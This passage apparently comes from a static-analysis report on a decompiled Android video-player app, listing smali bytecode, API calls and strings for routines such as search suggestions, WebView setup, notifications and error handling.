31invoke-static {v0, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Suggestions
32const/4 v0, 0x2
33new-array v0, v0, [Ljava/lang/String;
34const/4 v2, 0x0
36const-string v4, "_id"
37aput-object v4, v0, v2
38const/4 v2, 0x1
40const-string v4, "suggestion"
41aput-object v4, v0, v2
42new-instance v4, Landroid/database/MatrixCursor;
44invoke-direct {v4, v0}, Landroid/database/MatrixCursor;-><init>([Ljava/lang/String;)V
45const/4 v0, 0x2
46new-array v5, v0, [Ljava/lang/String;
47array-length v6, v3
48move v2, v1
49goto_44: if-ge v2, v6, :cond_5e
50aget-object v7, v3, v2
51if-eqz v7, :cond_77
52const/4 v8, 0x0
53add-int/lit8 v0, v1, 0x1
55invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
56move-result-object v1
57aput-object v1, v5, v8
58const/4 v1, 0x1
59aput-object v7, v5, v1
61invoke-virtual {v4, v5}, Landroid/database/MatrixCursor;->addRow([Ljava/lang/Object;)V
62goto_59: add-int/lit8 v1, v2, 0x1
63move v2, v1
64move v1, v0
65goto/16 :goto_44
66cond_5e: new-instance v0, Lcom/pedqaesf/app/INSMainActivity$3$1;
68iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$3;->a:Lcom/pedqaesf/app/INSMainActivity;
70invoke-virtual {v1}, Lcom/pedqaesf/app/INSMainActivity;->getApplicationContext()Landroid/content/Context;
71move-result-object v1
72const/4 v2, 0x0
74invoke-direct {v0, p0, v1, v4, v2}, Lcom/pedqaesf/app/INSMainActivity$3$1;-><init>(Lcom/pedqaesf/app/INSMainActivity$3;Landroid/content/Context;Landroid/database/Cursor;Z)V
  • Data flow analysis:
    • p3: 0
76iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$3;->a:Lcom/pedqaesf/app/INSMainActivity;
78iget-object v1, v1, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
80invoke-virtual {v1, v0}, Landroid/support/v7/widget/SearchView;->setSuggestionsAdapter(Landroid/support/v4/widget/g;)V
81goto_71: return-void
82catch_72: move-exception v0
84invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
85goto/16 :goto_71
86cond_77: move v0, v1
87goto/16 :goto_59
APIs
  • android.app.Service.onDestroy
  • android.util.Log.i
  • android.app.Activity.onBackPressed
  • android.view.WindowManager.removeView
  • com.pedqaesf.app.player.INSYouTubePlayerService.unregisterReceiver
  • com.pedqaesf.app.player.INSYouTubePlayerService.b
  • android.preference.PreferenceManager.getDefaultSharedPreferences
  • com.pedqaesf.app.player.INSYouTubePlayerService.getString
  • android.content.SharedPreferences.getInt
  • java.lang.String.valueOf
  • android.util.Log.d
Strings
  • Status
  • Destroyed!
  • Current Count is
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3const/4 v0, 0x1
4sput-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->B:Z
5const/4 v0, 0x0
6sput v0, Lcom/pedqaesf/app/b;->b:I
8const-string v0, "Status"
10const-string v1, "Destroyed!"
12invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Status
    • msg: Destroyed!
14sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
15if-eqz v0, :cond_5d
16sget-boolean v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->a:Z
17if-eqz v0, :cond_1d
19sget-object v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->b:Landroid/app/Activity;
21invoke-virtual {v0}, Landroid/app/Activity;->onBackPressed()V
22cond_1d:
23sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
25sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
27invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
29sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
31sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
33invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
35sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
37sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
39invoke-interface {v0, v1}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
41sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
43invoke-virtual {v0}, Lcom/pedqaesf/app/player/c;->c()V
44try_start_37:
45sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->F:Landroid/content/BroadcastReceiver;
46if-eqz v0, :cond_40
48sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->F:Landroid/content/BroadcastReceiver;
50invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
51try_end_40:
52invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->b()Landroid/content/Context;
53move-result-object v0
55invoke-static {v0}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
56move-result-object v0
57const v1, 0x7f08002b
59invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131230763
60move-result-object v1
61const/4 v2, 0x5
63invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • p1: 5
64move-result v0
66const-string v1, "Current Count is "
68invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
69move-result-object v0
71invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Current Count is
72cond_5d: return-void
73catch_5e: move-exception v0
74goto/16 :goto_40
APIs
  • java.lang.String.length
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.util.Locale.getDefault
  • java.util.Locale.getCountry
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.pedqaesf.app.volley.NCAppController.a
Strings
  • +
  • http://suggestqueries.google.com/complete/search?client=youtube&ds=yt&client=firefox&hl=
  • &q=
Position Instruction Meta Information
0.prologue
2invoke-virtual {p1}, Ljava/lang/String;->length()I
3move-result v0
4if-lez v0, :cond_49
6const-string v0, " "
8const-string v1, "+"
10invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0:
    • p1: +
11move-result-object v0
12new-instance v1, Ljava/lang/StringBuilder;
14invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
16const-string v2, "http://suggestqueries.google.com/complete/search?client=youtube&ds=yt&client=firefox&hl="
18invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: http://suggestqueries.google.com/complete/search?client=youtube&ds=yt&client=firefox&hl=
19move-result-object v1
21invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
22move-result-object v2
24invoke-virtual {v2}, Ljava/util/Locale;->getCountry()Ljava/lang/String;
25move-result-object v2
27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28move-result-object v1
30const-string v2, "&q="
32invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: &q=
33move-result-object v1
35invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v0
38invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
39move-result-object v0
40new-instance v1, Lcom/android/volley/toolbox/j;
41new-instance v2, Lcom/pedqaesf/app/INSMainActivity$3;
43invoke-direct {v2, p0}, Lcom/pedqaesf/app/INSMainActivity$3;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
44new-instance v3, Lcom/pedqaesf/app/INSMainActivity$4;
46invoke-direct {v3, p0}, Lcom/pedqaesf/app/INSMainActivity$4;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
48invoke-direct {v1, v0, v2, v3}, Lcom/android/volley/toolbox/j;-><init>(Ljava/lang/String;Lcom/android/volley/j$b;Lcom/android/volley/j$a;)V
50invoke-static {}, Lcom/pedqaesf/app/volley/NCAppController;->a()Lcom/pedqaesf/app/volley/NCAppController;
51move-result-object v0
53invoke-virtual {v0, v1}, Lcom/pedqaesf/app/volley/NCAppController;->a(Lcom/android/volley/h;)V
54cond_49: const/4 v0, 0x1
55return v0
APIs
  • java.lang.String.contains
  • android.util.Log.d
  • com.pedqaesf.app.INSMainActivity.findViewById
  • android.support.design.widget.Snackbar.a
  • android.view.View.findViewById
  • android.graphics.Color.parseColor
  • android.widget.TextView.setTextColor
  • android.support.design.widget.Snackbar.b
Strings
  • ?app=desktop
  • signin?app=desktop
  • Url stopped to load :
  • Desktop View Unavailable
  • #e52d27
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
3const-string v0, "?app=desktop"
5invoke-virtual {p2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: ?app=desktop
6move-result v0
7if-eqz v0, :cond_42
9const-string v0, "signin?app=desktop"
11invoke-virtual {p2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: signin?app=desktop
12move-result v0
13if-nez v0, :cond_42
15const-string v0, "Url stopped to load : "
17invoke-static {v0, p2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Url stopped to load :
19iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
20const v2, 0x7f0f0092
22invoke-virtual {v0, v2}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689618
23move-result-object v0
24check-cast v0, Landroid/support/design/widget/CoordinatorLayout;
26const-string v2, "Desktop View Unavailable"
28invoke-static {v0, v2, v1}, Landroid/support/design/widget/Snackbar;->a(Landroid/view/View;Ljava/lang/CharSequence;I)Landroid/support/design/widget/Snackbar;
  • Data flow analysis:
    • p1: Desktop View Unavailable
    • p2: 0
29move-result-object v1
31invoke-virtual {v1}, Landroid/support/design/widget/Snackbar;->a()Landroid/view/View;
32move-result-object v0
33const v2, 0x7f0f00a9
35invoke-virtual {v0, v2}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131689641
36move-result-object v0
37check-cast v0, Landroid/widget/TextView;
39const-string v2, "#e52d27"
41invoke-static {v2}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
  • Data flow analysis:
    • colorString: #e52d27
42move-result v2
44invoke-virtual {v0, v2}, Landroid/widget/TextView;->setTextColor(I)V
46invoke-virtual {v1}, Landroid/support/design/widget/Snackbar;->b()V
47const/4 v0, 0x1
48goto_41: return v0
49cond_42: move v0, v1
50goto/16 :goto_41
Cross References
APIs
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • android.webkit.WebView.setWebContentsDebuggingEnabled
  • android.webkit.WebChromeClient.<init>
  • android.webkit.WebView.setWebChromeClient
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setMediaPlaybackRequiresUserGesture
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setUserAgentString
  • android.webkit.WebView.addJavascriptInterface
  • com.pedqaesf.app.player.c$1.<init>
  • android.webkit.WebView.setWebViewClient
Strings
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
  • Interface
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x1
3sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
5invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
6move-result-object v0
8invoke-virtual {v0, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
9sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
10const/16 v1, 0x13
11if-lt v0, v1, :cond_15
13sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
15invoke-static {v2}, Landroid/webkit/WebView;->setWebContentsDebuggingEnabled(Z)V
  • Data flow analysis:
    • p0: 1
16cond_15:
17sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
18new-instance v1, Landroid/webkit/WebChromeClient;
20invoke-direct {v1}, Landroid/webkit/WebChromeClient;-><init>()V
22invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
23sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
24const/16 v1, 0x11
25if-lt v0, v1, :cond_2f
27sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
29invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
30move-result-object v0
31const/4 v1, 0x0
33invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setMediaPlaybackRequiresUserGesture(Z)V
  • Data flow analysis:
    • p0: 0
34cond_2f:
35sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
37invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
38move-result-object v0
40const-string v1, "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
42invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setUserAgentString(Ljava/lang/String;)V
  • Data flow analysis:
    • ua: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
44sget-object v1, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
45new-instance v2, Lcom/pedqaesf/app/player/b;
47iget-object v0, p0, Lcom/pedqaesf/app/player/c;->b:Landroid/content/Context;
48check-cast v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
50invoke-direct {v2, v0}, Lcom/pedqaesf/app/player/b;-><init>(Lcom/pedqaesf/app/player/INSYouTubePlayerService;)V
52const-string v0, "Interface"
54invoke-virtual {v1, v2, v0}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
  • Data flow analysis:
    • name: Interface
56sget-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
57new-instance v1, Lcom/pedqaesf/app/player/c$1;
59invoke-direct {v1, p0}, Lcom/pedqaesf/app/player/c$1;-><init>(Lcom/pedqaesf/app/player/c;)V
61invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
62return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • android.widget.RemoteViews.setImageViewResource
  • android.app.NotificationManager.notify
Strings
  • Compairing
  • Playlist
  • Ended
Position Instruction Meta Information
0.prologue
1const v4, 0x7f0f00d3
2const v3, 0x7f02006f
4const-string v0, "Compairing"
5new-instance v1, Ljava/lang/StringBuilder;
7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
8sget v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->am:I
10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
11move-result-object v1
13const-string v2, " "
15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
16move-result-object v1
17sget v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->al:I
19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
20move-result-object v1
22invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
23move-result-object v1
25invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Compairing
26sget v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->am:I
27sget v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->al:I
28add-int/lit8 v1, v1, -0x1
29if-ne v0, v1, :cond_4b
31const-string v0, "Playlist "
33const-string v1, "Ended"
35invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Playlist
    • msg: Ended
36const/4 v0, 0x1
37sput-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ac:Z
39sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
41invoke-virtual {v0, v4, v3}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837615
43sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
45invoke-virtual {v0, v4, v3}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837615
47sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
48const/16 v1, 0x65
50sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
52invoke-virtual {v0, v1, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
53cond_4b: return-void
Cross References
APIs
  • android.widget.ImageView.<init>
  • android.graphics.RectF.<init>
  • android.graphics.Matrix.<init>
  • android.graphics.Paint.<init>
  • android.content.Context.obtainStyledAttributes
  • android.content.res.TypedArray.getDimensionPixelSize
  • android.content.res.TypedArray.getColor
  • android.content.res.TypedArray.getBoolean
  • android.content.res.TypedArray.getColor
  • android.content.res.TypedArray.recycle
  • com.pedqaesf.app.views.INSCircularImageView.a
Position Instruction Meta Information
0.prologue
1const/high16 v3, -0x1000000
2const/4 v2, 0x0
4invoke-direct {p0, p1, p2, p3}, Landroid/widget/ImageView;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
5new-instance v0, Landroid/graphics/RectF;
7invoke-direct {v0}, Landroid/graphics/RectF;-><init>()V
8iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
9new-instance v0, Landroid/graphics/RectF;
11invoke-direct {v0}, Landroid/graphics/RectF;-><init>()V
12iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->d:Landroid/graphics/RectF;
13new-instance v0, Landroid/graphics/Matrix;
15invoke-direct {v0}, Landroid/graphics/Matrix;-><init>()V
16iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->e:Landroid/graphics/Matrix;
17new-instance v0, Landroid/graphics/Paint;
19invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
20iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->f:Landroid/graphics/Paint;
21new-instance v0, Landroid/graphics/Paint;
23invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
24iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
25new-instance v0, Landroid/graphics/Paint;
27invoke-direct {v0}, Landroid/graphics/Paint;-><init>()V
28iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
29iput v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
30iput v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
31iput v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
33sget-object v0, Lcom/pedqaesf/app/c$a;->CircleImageView:[I
35invoke-virtual {p1, p2, v0, p3, v2}, Landroid/content/Context;->obtainStyledAttributes(Landroid/util/AttributeSet;[III)Landroid/content/res/TypedArray;
  • Data flow analysis:
    • defStyleRes: 0
36move-result-object v0
38invoke-virtual {v0, v2, v2}, Landroid/content/res/TypedArray;->getDimensionPixelSize(II)I
  • Data flow analysis:
    • index: 0
    • defValue: 0
39move-result v1
40iput v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
41const/4 v1, 0x1
43invoke-virtual {v0, v1, v3}, Landroid/content/res/TypedArray;->getColor(II)I
  • Data flow analysis:
    • index: 1
44move-result v1
45iput v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
46const/4 v1, 0x2
48invoke-virtual {v0, v1, v2}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
  • Data flow analysis:
    • index: 2
    • defValue: 0
49move-result v1
50iput-boolean v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->u:Z
51const/4 v1, 0x3
53invoke-virtual {v0, v1, v2}, Landroid/content/res/TypedArray;->getColor(II)I
  • Data flow analysis:
    • index: 3
    • defValue: 0
54move-result v1
55iput v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
57invoke-virtual {v0}, Landroid/content/res/TypedArray;->recycle()V
59invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->a()V
60return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.android.volley.VolleyError.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.pedqaesf.app.INSMainActivity.getApplicationContext
  • com.android.volley.VolleyError.getMessage
  • android.widget.Toast.makeText
  • android.widget.Toast.show
Strings
  • Tag
  • Error:
Position Instruction Meta Information
0.prologue
1const/4 v4, 0x0
3const-string v0, "Tag"
4const/4 v1, 0x1
5new-array v1, v1, [Ljava/lang/Object;
6new-instance v2, Ljava/lang/StringBuilder;
8invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
10const-string v3, "Error: "
12invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error:
13move-result-object v2
15invoke-virtual {p1}, Lcom/android/volley/VolleyError;->getMessage()Ljava/lang/String;
16move-result-object v3
18invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
19move-result-object v2
21invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
22move-result-object v2
23aput-object v2, v1, v4
25invoke-static {v0, v1}, Lcom/android/volley/m;->b(Ljava/lang/String;[Ljava/lang/Object;)V
27iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$4;->a:Lcom/pedqaesf/app/INSMainActivity;
29invoke-virtual {v0}, Lcom/pedqaesf/app/INSMainActivity;->getApplicationContext()Landroid/content/Context;
30move-result-object v0
32invoke-virtual {p1}, Lcom/android/volley/VolleyError;->getMessage()Ljava/lang/String;
33move-result-object v1
35invoke-static {v0, v1, v4}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
  • Data flow analysis:
    • duration: 0
36move-result-object v0
38invoke-virtual {v0}, Landroid/widget/Toast;->show()V
39return-void
APIs
  • com.mikepenz.a.b.f
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.b
  • com.mikepenz.a.b.c
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.l
  • com.mikepenz.a.b.d
  • java.util.List.size
  • com.mikepenz.a.b.i
  • com.mikepenz.a.b.b
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/view/View;",
4"I",
5"Lcom/mikepenz/a/b",
6"<TItem;>;TItem;)V"
7}
8.end annotation
9.prologue
10if-eqz p4, :cond_e2
12invoke-interface {p4}, Lcom/mikepenz/a/g;->e()Z
13move-result v0
14if-eqz v0, :cond_e2
16iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
18invoke-virtual {v0, p2}, Lcom/mikepenz/a/b;->f(I)Lcom/mikepenz/a/b$h;
19move-result-object v2
20const/4 v1, 0x0
21instance-of v0, p4, Lcom/mikepenz/a/d;
22if-eqz v0, :cond_29
23move-object v0, p4
24check-cast v0, Lcom/mikepenz/a/d;
26invoke-interface {v0}, Lcom/mikepenz/a/d;->a()Lcom/mikepenz/a/b$c;
27move-result-object v0
28if-eqz v0, :cond_29
29move-object v0, p4
30check-cast v0, Lcom/mikepenz/a/d;
32invoke-interface {v0}, Lcom/mikepenz/a/d;->a()Lcom/mikepenz/a/b$c;
33move-result-object v0
35iget-object v1, v2, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
37invoke-interface {v0, p1, v1, p4, p2}, Lcom/mikepenz/a/b$c;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
38move-result v1
39cond_29: if-nez v1, :cond_3f
41iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
43invoke-static {v0}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$c;
44move-result-object v0
45if-eqz v0, :cond_3f
47iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
49invoke-static {v0}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b$c;
50move-result-object v0
52iget-object v1, v2, Lcom/mikepenz/a/b$h;->a:Lcom/mikepenz/a/c;
54invoke-interface {v0, p1, v1, p4, p2}, Lcom/mikepenz/a/b$c;->a(Landroid/view/View;Lcom/mikepenz/a/c;Lcom/mikepenz/a/g;I)Z
55move-result v1
56cond_3f: if-nez v1, :cond_56
58iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
60invoke-static {v0}, Lcom/mikepenz/a/b;->b(Lcom/mikepenz/a/b;)Z
61move-result v0
62if-nez v0, :cond_56
64iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
66invoke-static {v0}, Lcom/mikepenz/a/b;->c(Lcom/mikepenz/a/b;)Z
67move-result v0
68if-eqz v0, :cond_56
70iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
72invoke-static {v0, p1, p4, p2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/b;Landroid/view/View;Lcom/mikepenz/a/g;I)V
73cond_56: if-nez v1, :cond_73
74instance-of v0, p4, Lcom/mikepenz/a/e;
75if-eqz v0, :cond_73
76move-object v0, p4
77check-cast v0, Lcom/mikepenz/a/e;
79invoke-interface {v0}, Lcom/mikepenz/a/e;->c()Z
80move-result v0
81if-eqz v0, :cond_73
82move-object v0, p4
83check-cast v0, Lcom/mikepenz/a/e;
85invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
86move-result-object v0
87if-eqz v0, :cond_73
89iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
91invoke-virtual {v0, p2}, Lcom/mikepenz/a/b;->l(I)V
92cond_73: if-nez v1, :cond_b1
94iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
96invoke-static {v0}, Lcom/mikepenz/a/b;->d(Lcom/mikepenz/a/b;)Z
97move-result v0
98if-eqz v0, :cond_b1
99instance-of v0, p4, Lcom/mikepenz/a/e;
100if-eqz v0, :cond_b1
101move-object v0, p4
102check-cast v0, Lcom/mikepenz/a/e;
104invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
105move-result-object v0
106if-eqz v0, :cond_b1
107move-object v0, p4
108check-cast v0, Lcom/mikepenz/a/e;
110invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
111move-result-object v0
113invoke-interface {v0}, Ljava/util/List;->size()I
114move-result v0
115if-lez v0, :cond_b1
117iget-object v0, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
119invoke-virtual {v0}, Lcom/mikepenz/a/b;->i()[I
120move-result-object v3
121array-length v0, v3
122add-int/lit8 v0, v0, -0x1
123goto_a0: if-ltz v0, :cond_b1
124aget v4, v3, v0
125if-eq v4, p2, :cond_ae
127iget-object v4, p0, Lcom/mikepenz/a/b$1;->a:Lcom/mikepenz/a/b;
128aget v5, v3, v0
129const/4 v6, 0x1
131invoke-virtual {v4, v5, v6}, Lcom/mikepenz/a/b;->b(IZ)V
  • Data flow analysis:
    • p1: 1
132cond_ae: add-int/lit8 v0, v0, -0x1
133goto/16 :goto_a0
134cond_b1: if-nez v1, :cond_e3
135instance-of v0, p4, Lcom/mikepenz/a/d;
